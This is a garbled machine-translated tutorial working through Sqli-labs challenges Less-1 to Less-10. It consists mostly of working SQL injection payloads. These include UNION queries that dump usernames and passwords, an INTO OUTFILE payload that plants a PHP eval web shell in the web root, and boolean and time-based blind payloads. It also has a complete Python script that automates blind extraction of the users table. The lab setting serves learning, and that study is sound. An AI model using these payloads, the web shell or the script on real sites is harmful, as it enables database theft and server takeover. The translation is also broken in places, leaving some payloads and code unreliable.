Learning SQL injection through Sqli-labs-the less1-10 of fundamental challenges

Source: Internet
Author: User
Tags phpmyadmin

Although SQL injection has a lot of contact, in fact, not too much, but not the system, then through the sqli-libs system learning to summarize it

Note: The first one to say in detail, the back of the new knowledge will be said, so the first must look!!! If the first one still does not understand the place, welcome to comment on the question, the attention must first practice.


What is the method of my study?

First try to inject yourself, really can not see the source code, and then do not see the guidance of others, anyway is to understand


First of all to say some basic knowledge, of course, some basic SQL statements on their own to learn it (according to the learning process update), the basic knowledge of LESS1 is also more!!, learn to learn not to move to write a summary of it

URL encoding : The general URL encoding is actually the ASCII of that character is worth hexadecimal, and then add a% in front

Specific can see http://www.w3school.com.cn/tags/html_ref_urlencode.html, here can find the URL code of each character, of course, own programming or use the language should also have its own function, to implement URL encoding

The usual write-up: The space is%20, the single quotation mark is%27, the pound is%23, the double quotation mark is%22

Determine SQL injection : single quotes, and 1=1 and and 1=2, double quotes, backslashes, annotations, etc.



In order to facilitate learning to view, you can $sql in the source code of the next sentence to write the following PHP statement (that is, the output to the database query the complete statement is how)

echo "Your SQL statement is:". $sql. " <br> ";

Note: There may be many kinds of injection methods below, just for example one

Less 1 get-error based-single quotes-string (Error-based GET single quote character injection)

Add a single quotation mark directly to the back (of course, you need to add a number in the back), the single quotation mark is encoded by the automatic URL id=


Found the syntax error of the SQL statement, then there should be SQL injection, because no single quotation marks, we can close the single quotation mark injection what

SELECT * from Users WHERE id= ' 1 ' to get a query for a certain error, single quotes do not match


Next Guess field, because of a problem, the original browser did not help me to put #url code


' # ' URL is encoded after%23, if it is post injection commit # No coding is OK


You can see that there is no fourth column, so there are only 3 fields


The following directly with the Union statement query, first look at the


How is it that there are two of them, and the command line that copies the statements directly to the database can also query to two lines!


No hurry, we look at the source code, you can see that the function mysql_fetch_array is only called once, and the mysql_fetch_array () function takes a row from the result set as an associative array, or a numeric array, or both, depending on what your second argument is, Specifically can see http://www.w3school.com.cn/php/func_mysql_fetch_array.asp, so here no matter how the toss finally will only come out the first row of query results


Here we look at how to take out all the rows of the result set and see the code below

while ($row = Mysql_fetch_array ($result)) {  echo "<font size= ' 5 ' color= ' #99FF00 ' >";  Echo ' Your Login name: '. $row [' username '];  echo "<br>";  Echo ' Your Password: '. $row [' Password '];  echo "</font>";}
So we just let the first row query result is an empty set (that is, the left of the Union SELECT clause query result is empty), then our Union to the right of the query result naturally becomes the first row, printed on the Web page, this ID he is generally transmitted numbers, and generally from the beginning of 1 self-increment, We can set the ID value to be non-positive (negative or 0), floating-point number, character type or string, the following is an example of each



The following is a real query of the database of various information (you can see only the 2nd and 3rd columns of the results displayed on the page), so we can only use 2,3 this position, but two locations should be not enough, then we use the database connection function, commonly used on concat and CONCAT_WS, The first parameter of CONCAT_WS is the delimiter of the connection string, and also the use of group__concat (which can be connected to multiple rows of the query)

See how it's Used

Again, one of the parameters of the CONCAT_WS is the delimiter of the connection string, which is clearly visible, but generally the first parameter is usually not passed in this way, because HTML encoding is used to convert the decimal ASCII code into characters using the MySQL char function. such as the following (: The decimal ASCII is 58), of course here the delimiter can also be more than one character


More of the use of this, and then directly copied (32 is the space of the decimal ASCII)

Concat_ws (char (32,58,32), User (), database (), version ())

User (): Returns the users who are using the current database connection

Database (): Returns the databases used by the current database connection

Version (): Returns the versions of the current database



Next, query what tables are in the security database

First of all, the MySQL database information_schema, he is the system database, installation is complete, the record is the current database database, tables, columns, user rights and other information, the following is a few common tables

Schemata table: The basic information of all MySQL databases is stored, including the database name, encoding type path and so on, and the results of show databases are taken from this table.

Tables Table: Storage table information in MySQL, (of course, there is a column of database name, so as to find which database is the table) including the table is the basic table or system tables, the database engine is what, the table has how many rows, creation time, last update time and so on. Show tables from SchemaName results from this table

Columns table: Provides the column information in the table, and (of course, the database name and table name columns) detailing all the columns of a table and the information for each column, including the column is the number of columns in that table, the data type of the column, the column's encoding type, the column's permissions, the Hunt's notes, and so on. This table is the result of show columns from Schemaname.tablename.


See more: Http://wenku.baidu.com/link?url=bIA38Slp-g2Bob4VDuTSVY8e04Beqq9Xac4I90UMC9ziQuzxiukpEh5abPK-woB9tuQ4DuY_ Khkw-ethh6acsimjmrhctihvijoefmenbbs


By directly in the MySQL console experiment we can see, query information_schema in the information, using the where statement, that value can not be directly in English, to enclose with single quotation marks, of course, with its hexadecimal representation is also possible, the numeric type is not single quotation marks, This to filter single quotation marks should have guidance significance, as to whether there are other expressions, I do not know, know can tell me



The foundation is finished, directly on the (for convenience or with Firefox, plugin is Hackbar)


At this time we encountered a problem, can only return a table (why the above has been said), then we will use the limit, the first parameter is the result set of the number of the same as the C language array index, the second parameter is the number

If limit: Returns the second and third rows because 1 means the second row, and 2 indicates that the number of rows is 2

Look at the picture.

A second table


4th table


Changing the first parameter of the limit enumerates all the tables and, once out of range, returns an empty set


You can see that the display is consistent with the phpMyAdmin.


Next list the users of the column name, because generally we only care about the user's account password, with its other landing after the general can be viewed, get the administrator is the best


Also use limit one to come, know the field has Id,username,password


So the last step, it's easy, just select it.


Then the user and password will come out one at a.

Of course, the injection here can be varied, in fact, the same is the same as the limit control result set is the specific line

As below,--there is a space behind (some cases + can replace the space, + the browser will be encoded into a space bar as if), you can directly put phpMyAdmin test

Http://localhost/sqli-labs/Less-1/?id=-1 ' or 1=1 Union select 1,2,CONCAT_WS (char (32,58,32), id,database (), password) From  users limit--+
Http://localhost/sqli-labs/Less-1/?id=-1 ' and 1=2 Union select 1,2,CONCAT_WS (char (32,58,32), id,database (), password) From  users limit--K
This you can concrete practice, the most important thing is the practice, I also like, here cut a picture bar,--there is no space in the case



The first one is a little more detailed, there is new knowledge in the back to say


Less 2 Get-error Based-intiger based (Error-based GET integer injection)

This is almost the same as above, just $id no single quotation marks, (because the SQL statement for numeric data can be no single quotation marks), not to write single quotation mark injection is more simple


Because there is no need to close the ' or comment behind ', but because this is just to get 1 rows of data from the result set, to get all the data or to comment back, add a limit clause yourself


Using the same as above, just put the following words-1 the right side of the single quotation mark to remove it.

Http://localhost/sqli-labs/Less-2/?id=-1 Union Select 1,2,CONCAT_WS (char (32,58,32), id,database (), password) from  Users limit 0,1%23

What else can you tell me about this?


Less 3 Get-error Based-single quotes with twist string (Error-based GET single quote morph character injection)
First, add a single quote to see

Can see the error there came out a), originally this is the single quotation mark injection deformation, then we do not have the final SQL statement in the case of how to judge it?

First, see the string between near and at, and directly remove the left and right quotes, then get '-1 ') LIMIT 0,1

We obviously see a 1 on the right side of a ' this is like the feeling of acquaintance, and there is a later, then for the left also have (, we see the code is not id= (' $id '), indeed yes


Payload: (should be a function of East, should be able to understand it so)

HTTP://LOCALHOST/SQLI-LABS/LESS-3/?ID=-1%27) Union Select 1,2,CONCAT_WS (char (32,58,32), Id,username,password) from  Users Limit 6,1--+

Less 4 get-error based-double quotes-string (Error-based GET double quote character injection)
Directly on the single quotation mark, found no error, this is why, because the double quotation marks in PHP can contain single quotation marks
So when we judge the injection, we want to add double quotation marks to judge Oh, and from the right parenthesis, we have to close the opening parenthesis with the closing parenthesis

Payload
Http://localhost/sqli-labs/Less-4/?id=1 ") union Select 1,2,concat_ws (char (32,58,32), Id,username,password) from  users Limit--K

Less 5 get-double injection-single quotes-string (double injection GET single quote character injection) what does double injection mean, look at the Internet as if two select is the case http://localhost/sql I-labs/less-5/?id=1 ' Union SELECT, (Select Database ())%23

This is like Less2, see below to know, then why he did not come out, look at the source

No output $row at all, of course not.

Let's use a closed method here, then, without comment.

Payload

Http://localhost/sqli-labs/Less-5/?id=1 ' Union Select 1,2,CONCAT_WS (char (32,58,32), Id,username,password)  from Users limit, union select   1, 2, ' 3

But in practice, the discovery can also add Chinese quotation marks and Chinese, the specific original rational things need to study




Less 6 get-double injection-double quotes-string (double-injected GET double quote character injection) This is also double injection, drunk, know tell me here directly to payload, actually a lot of can, you want to be good
Http://localhost/sqli-labs/Less-6/?id=1 "Union Select 1,2,CONCAT_WS (char (32,58,32), Id,username,password)  from Users limit k//--The following "is the Chinese double quote http://localhost/sqli-labs/Less-6/?id=1 haha" union select 1,2,CONCAT_WS (char (32,58,32 ), Id,username,password) from  users limit--khttp://localhost/sqli-labs/less-6/?id=1 haha "union select 1, 2, Concat_ws (char (32,58,32), Id,username,password) from  users limit, and "+
Keep messing around and find this syntax can also select * from users WHERE id= ("1 haha" union select 1,2,CONCAT_WS (char (32,58,32), Id,username,password) from Users ' culture centers send to high limit, and "" "Limit 0,1
The previous LESS4 test is also possible, then the previous single-quote course change should also be possible
Less 7 get-dump to outfile-string (export file GET character injection)
Export to a file is the result can be exported to a file, such as a common word trojan export to a php file, Sqlmap also have to export a word and a file upload page commonly used statements are: select "<?php @eval ($_post[' Giantbranch ']);? > "Into OutFile" xxx\test.php ", when here to get to the site of the specific path in the system (absolute path) This How to get it, according to the system and database guessing, such as the Winserver IIS default path is c:/inetpub/ Wwwroot/, this seems to be biased, this is the ASP, but know that the Linux nginx is generally/usr/local/nginx/html,/home/wwwroot/default,/usr/share/nginx,/var/ Www/htm and so on Apache/var/www/htm,/var/www/html/htdocs
I'm not very familiar with it. Here's a very likely way to get it, (because LESS7 does not output information, get information from less first)First introduce two things that can be said to be functions or variables @ @datadir read the database path
@ @basedir MYSQL Get installation path

For example, because you see WAMP, the absolute path to the default Web site's root directory is E:\wamp\www.
First error, I don't know why

Then put the statement in the phpMyAdmin and look at it.
It's a problem with the path, just escape it.

Note: Files cannot be overwritten, such as (so can only be executed once, can only be changed by name)

Final Payload:http://localhost/sqli-labs/less-7/?id=1 ')) union select 1, ' 2 ', ' <?php @eval ($_post["Giantbranch"]);? > ' into outfile ' e:\\wamp\\www\\sqli-labs\\muma.php '%23

Then you can go straight to the chopper.

Of course, in addition to the export file and import files, because the front end does not show the data, you can import and export to use simultaneously



Less 8 Get-blind-boolian based-single Quotes (Boolean single-quote GET blind)
found that add a single quotation mark with no display, add a single quotation mark even if you do not display, no error, so you can only use the blind to judge
The blinds need to master some of the MySQL's related functions:
Length (str): Returns the lengths of the STR strings.
substr (str, POS, len): Returns a character that intercepts Len length from the POS position. Note that the POS position here is starting from 1, not the array of 0 start mid (Str,pos,len): As above, intercept the string ASCII (str): Returns the ASCII code value of the leftmost character of the string str. Ord (str): ibid., return ASCII if (A,B,C): A is a condition, A is true, return B, otherwise return C, such as if (1>2,1,0), returns 0
The first thing to remember is the common ascii,a:65,z:90 a:97,z:122, 0:48, 9:57
First select database () queries the ASCII (SUBSTR ((select Database ()), 1, 1): Returns the first letter of the database name and converts it to an ASCII code
ASCII (substr (select Database ()), >64:ascii) returns 0 if the return true,if is greater than 64
Http://localhost/sqli-labs/Less-8/?id=1 ' And if (ASCII ((select Database ()), substr) >64, 1, 0)%23
Or that would be a little simpler.
Http://localhost/sqli-labs/Less-8/?id=1 ' and ASCII (substr ((select Database ()), +)) >64%23

Why this is a boolean blind, because there is no data output, but $row have data and no data when the results are not the same

Guess the first letter of the database name specific process, using dichotomy
Http://localhost/sqli-labs/Less-8/?id=1 ' and ASCII (substr (select Database ()), >64%23 returned correctly, greater than 64http:// Localhost/sqli-labs/less-8/?id=1 ' and ASCII (substr ((select Database ())) >96%23 returned correctly, greater than 96http://localhost/ Sqli-labs/less-8/?id=1 ' and ASCII (substr ((select Database ()), 123)) <123%23 return to correct, less than the interval in the 97-122http://localhost/. Sqli-labs/less-8/?id=1 ' and ASCII (substr ((select Database ())) >109%23 returned correctly, greater than 109, interval in 110-122http://localhost /sqli-labs/less-8/?id=1 ' and ASCII (substr ((select Database ())) >116%23 return error, so between 110-116 http://localhost/ Sqli-labs/less-8/?id=1 ' and ASCII (substr ((select Database ())) >112%23 returned correctly, greater than 112, interval between 113-116/http Localhost/sqli-labs/less-8/?id=1 ' and ASCII (substr ((select Database ())) >114%23 returned correctly, greater than 114, between 115-116 http ://localhost/sqli-labs/less-8/?id=1 ' and ASCII (substr ((select Database ()), 115)%23 return an error, not greater than a value of. >115 That is, the first letter of ASCII is 115, that is, the letter S

The blind process is lengthy, usually by writing a script or using tools to help write the script before you know the principle, above is the principle
The following is based on this write a extract the users table data of the complete script, we can refer to, of course, if you use Sqlmap can also
#-*-coding:utf-8-*-"" @version: @author: Giantbranch @file: blindsqlinjection.py @time: 2016/5/1 "" "Import urllib2imp  Ort urllibsuccess_str = "You is in" getTable = "users" index = "0" url = "http://localhost/sqli-labs/Less-8/?id=1" database = "Database ()" SELECTDB = "Select Database ()" selecttable = "SELECT table_name from Information_schema.tables where TABLE_SC Hema= '%s ' limit%d,1 "asciipayload =" ' and ASCII (SUBSTR ((%s),%d,1)) >=%d # "lengthpayload =" ' and Length (%s) >=%d # "Se Lecttablecountpayload = "' and (select COUNT (table_name) from Information_schema.tables where table_schema= '%s ') >=%d # "Selecttablenamelengthpayloadfront =" ' and (select Length (table_name) from Information_schema.tables where Table_ Schema= '%s ' limit "Selecttablenamelengthpayloadbehind =", 1) >=%d # "# sends a guessing result of the length of the request, based on the return of the page # string: Guessing the string payload: Payloadlength used: Guessing length def getlengthresult (payload, string, length): FinalURL = URL + urllib.quote (payload% (string, Length) res = Urllib2.urlopen (finalurl) if sucCess_str in Res.read (): Return Trueelse:return false# send a request, based on the return of the page to determine whether the guessed character is correct # payload: Used payloadstring: Guessing string Pos: guessing the position of the string ASCII: Guessing Asciidef getresult (payload, String, POS, ASCII): FinalURL = URL + urllib.quote (payload% ( String, POS, ASCII)) res = Urllib2.urlopen (finalurl) if success_str in Res.read (): Return trueelse:return false# inject def injec T (): # guess database length lengthofdbname = getlengthofstring (lengthpayload, database) print "Length of DBname:" + str (lengthofdbname) # Get database name DBname = GetName (Asciipayload, Selectdb, lengthofdbname) print "Current database:" + dbname# get the number of tables in the database # print SEL Ecttablecountpayloadtablecount = getlengthofstring (selecttablecountpayload, DBname) print "Count of Talbe:" + str ( Tablecount) # Gets the table in the database for I in Xrange (0,tablecount): # number of tables num = str (i) # gets the length of the current table Selecttablenamelengthpayload = Selecttablenamelengthpayloadfront + num + selecttablenamelengthpayloadbehindtablenamelength = getLengthOfString ( Selecttablenamelengthpayload, DBname) print "Current table length:" + str (TablenaMelength) # Gets the name of the current table Selecttablename = selecttable% (DBname, i) TableName = GetName (Asciipayload, Selecttablename, tablenamelength) Print tablenameselectcolumncountpayload = "' and (select COUNT (column_name) from Information_ Schema.columns where table_schema= ' "+ DBname +" ' and Table_name= '%s ') >=%d # "# Print selectcolumncountpayload# Gets the number of columns for the specified table ColumnCount = getlengthofstring (selectcolumncountpayload, getTable) print "table:" + getTable + "--count of Col Umn: "+ str (columnCount) # gets how many rows of data the table has Datacountpayload =" ' and (select COUNT (*) from%s) >=%d # "Datacount = Getlengthofstr ING (datacountpayload, getTable) print "table:" + getTable + "--count of data:" + str (datacount) data = []# Gets the column in the specified table for I I n xrange (0,columncount): # Gets the column name length selectcolumnnamelengthpayload = "' and (select Length (column_name) from Information_ Schema.columns where table_schema= ' "+ DBname +" ' and Table_name= '%s ' limit "+ str (i) +", 1) >=%d # "# Print Selectcolumnna Melengthpayloadcolumnnamelength = getlengthofstring (SelectcoluMnnamelengthpayload, getTable) print "Current column length:" + str (columnnamelength) # Gets the name of the column SelectColumn = "Select column_name from Information_schema.columns where table_schema= ' "+ DBname +" ' and Table_name= '%s ' Limit%d,1 " Selectcolumnname = selectcolumn% (getTable, i) # print selectcolumnnamecolumnname = GetName (Asciipayload, Selectcolumnname, columnnamelength) Print columnnametmpdata = []tmpdata.append (columnName) # Gets the data for the table for J in xrange (0, Datacount): Columndatalengthpayload = "' and (select Length (" + ColumnName + ") from%s limit" + str (j) + ", 1) >=%d #" # pri NT Columndatalengthpayloadcolumndatalength = getlengthofstring (Columndatalengthpayload, getTable) # Print Columndatalengthselectdata = "Select" + ColumnName + "from users limit" + str (j) + ", 1" columndata = GetName (Asciipayloa D, Selectdata, columndatalength) # print columndatatmpdata.append (columndata) Data.append (tmpdata) # print data# format output data # output Column Name TMP = "" For I in Xrange (0,len (data)): TMP + = data[i][0] + "" Print tmp# output specific data for J In xrange (1,datacount+1): tmp = "" For I in Xrange (0,len (data)): TMP + = Data[i][j] + "" "Print tmp# get the length of the string def Getlengthofstrin g (Payload, String): # guess length lengthleft = 0lengthRigth = 0guess = 10# Determine the maximum length, increase 5while 1:# each time if the length is greater than guessif Getlengthresult (Paylo AD, string, guess) = = true:# guessing value increased by 5guess = guess + 5else:lengthrigth = guessbreak# print "lengthrigth:" + str (lengthrigth ) # binary Check length mid = (Lengthleft + lengthrigth)/2while Lengthleft < lengthrigth-1:# If length is greater than or equal to mid if Getlengthresult (Payloa D, String, mid) = = true:# The left edge of the update length is midlengthleft = midelse: # Otherwise the right edge of the length less than mid# update length is midlengthrigth = mid# Update mid value mid = (lengt Hleft + lengthrigth)/print lengthleft, lengthrigth# because Lengthleft is updated to mid when the length is greater than or equal to mid, and Lengthrigth is updated to mid# when the length is less than mid So the length range: greater than or equal to lengthleft, less than lengthrigth# and the loop condition is Lengthleft < lengthRigth-1, exit loop, Lengthleft is the desired length # as the loop to the last step Lengthleft = 8, Lengthrigth = 9 o'clock, the loop exits, the interval is 8<=length<9,length is certainly equal to 8return lengthleft# gets the name def getName (payload, String, lengthofstring): # 32 is a space, is the first character to be displayed, and 127 is the deLete, last character tmp = ' for I in Xrange (1,lengthofstring+1): left = + = 127mid = [left + right]/2while left < Right -1:# If the ASCII code of the I-character of the string is greater than or equal to Midif getresult (payload, String, I, mid) = = true:# The Left border is updated = Midmid = (Ieft + right)/2el se:# Otherwise the ASCII code for the I-character of the string is less than mid#, then the right boundary is updated with the middle value mid = mid# Update medium = (left + right)/2tmp + = Chr (left) # print Tmpreturn tmpdef mai N (): Inject () Main ()
Operation Result:


Less 9 get-blind-time based. -Single Quotes (time-based get one-quote blind)
time-based injection of a single quotation mark
Http://localhost/sqli-labs/Less-9/?id=1 ' and Sleep (5)%23

Here, direct to payload.
Http://localhost/sqli-labs/Less-9/?id=1 ' And if (ASCII (Database (), substr) >115, 0, Sleep (5))%23http:// Localhost/sqli-labs/less-9/?id=1 ' And if (ASCII (Database (), substr) >114, 0, Sleep (5))%23
The first letter that determines the name of the database is S (ASCII is 115), and the error is 5 seconds to pause.

So why must this be based on time, because you're typing, and the output is you're in, which must be judged by time.

Less get-blind-time based-double quotes (Time-based double-quote blind) change the above into single quotes.
Judged as time-based double quotes injected http://localhost/sqli-labs/Less-10/?id=1 "and sleep (5)%23

Http://localhost/sqli-labs/Less-10/?id=1 "And If" (ASCII (Database (), substr) >115, 0, Sleep (5))%23http:// Localhost/sqli-labs/less-10/?id=1 "And If" (ASCII (Database (), substr) >114, 0, Sleep (5))%23


Have time to put the time blind also make a script out, the above payload and judging conditions should be able to change it



Learning SQL injection through Sqli-labs-the less1-10 of fundamental challenges

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.